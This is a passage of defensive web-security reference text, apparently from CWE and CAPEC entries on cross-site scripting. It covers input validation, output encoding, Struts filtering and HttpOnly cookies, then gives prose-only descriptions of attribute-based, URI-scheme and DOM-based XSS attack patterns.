Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

CAPEC-243: XSS Targeting HTML Attributes

An adversary inserts commands to perform cross-site scripting (XSS) actions in HTML attributes. Many filters do not adequately sanitize attributes against the presence of potentially dangerous commands even if they adequately sanitize tags. For example, dangerous expressions could be inserted into a style attribute in an anchor tag, resulting in the execution of malicious code when the resulting page is rendered. If a victim is tricked into viewing the rendered page the attack proceeds like a normal XSS attack, possibly resulting in the loss of sensitive cookies or other malicious activities.

CAPEC-244: XSS Targeting URI Placeholders

An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.

CAPEC-588: DOM-Based XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.